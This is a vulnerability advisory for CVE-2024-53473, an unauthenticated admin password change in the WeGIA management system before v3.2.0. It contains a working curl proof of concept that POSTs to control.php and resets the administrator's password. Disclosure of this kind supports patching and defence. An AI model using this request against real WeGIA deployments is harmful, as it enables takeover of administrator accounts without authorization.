CVE-2024-53473: Broken Access Control

CVE Publication: https://www.cve.org/CVERecord?id=CVE-2024-53473

Vendor

WeGIA (Web Gerenciador Institucional) is an integrated management system licensed under the GNU GPL v3.0, designed to enhance administration, control, and transparency for institutions.

https://www.wegia.org

https://sol.sbc.org.br/index.php/latinoware/article/view/31544

Affected Product Code Base

WeGIA < v3.2.0

Vulnerability Description

A critical vulnerability was identified in the web application WeGIa. This vulnerability allows an attacker to change the password of the admin user by sending a POST request to the control.php endpoint without requiring authentication or authorization.

POC

Burp Request:

Curl Request:

1
2
3
4

curl -X POST https://demo.wegia.org/controle/control.php \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -H "Origin: https://demo.wegia.org" \
  --data-raw "nova_senha=1234567&confirmar_senha=1234567&nomeClasse=FuncionarioControle&metodo=alterarSenha&redir=logout.php&id_pessoa=1&alterar=Alterar"

References

https://github.com/nilsonLazarin/WeGIA/issues/791

https://www.wegia.org

https://github.com/LabRedesCefetRJ/WeGIA/

Discoverer

Natan Maia Morette

By: CVE-Hunters